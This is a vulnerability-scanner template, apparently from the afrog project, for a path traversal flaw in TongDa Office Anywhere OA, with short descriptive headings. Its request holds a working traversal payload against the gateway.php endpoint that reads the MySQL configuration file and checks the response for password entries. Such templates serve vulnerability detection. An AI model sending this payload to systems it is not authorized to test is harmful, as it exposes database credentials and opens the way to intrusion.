tongda-path-traversal: Office Anywhere TongDa - Path Traversal

漏洞描述

Office Anywhere (OA) is susceptible to path traversal vulnerabilities which can be leveraged to perform remote code execution.

PoC代码[已公开]

id: tongda-path-traversal

info:
  name: Office Anywhere TongDa - Path Traversal
  author: pikpikcu
  severity: critical
  verified: true
  description: |
    Office Anywhere (OA) is susceptible to path traversal vulnerabilities which can be leveraged to perform remote code execution.
  reference:
    - https://github.com/jas502n/OA-tongda-RCE

rules:
  r0:
    request:
      method: POST
      path: /ispirit/interface/gateway.php
      body: |
        json={"url":"/general/../../mysql5/my.ini"}
    expression: response.status == 200 && response.body.bcontains(b'[mysql]') && response.body.bcontains(b'password=') && response.headers["content-type"].contains("text/html")
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/tongda-path-traversal.yaml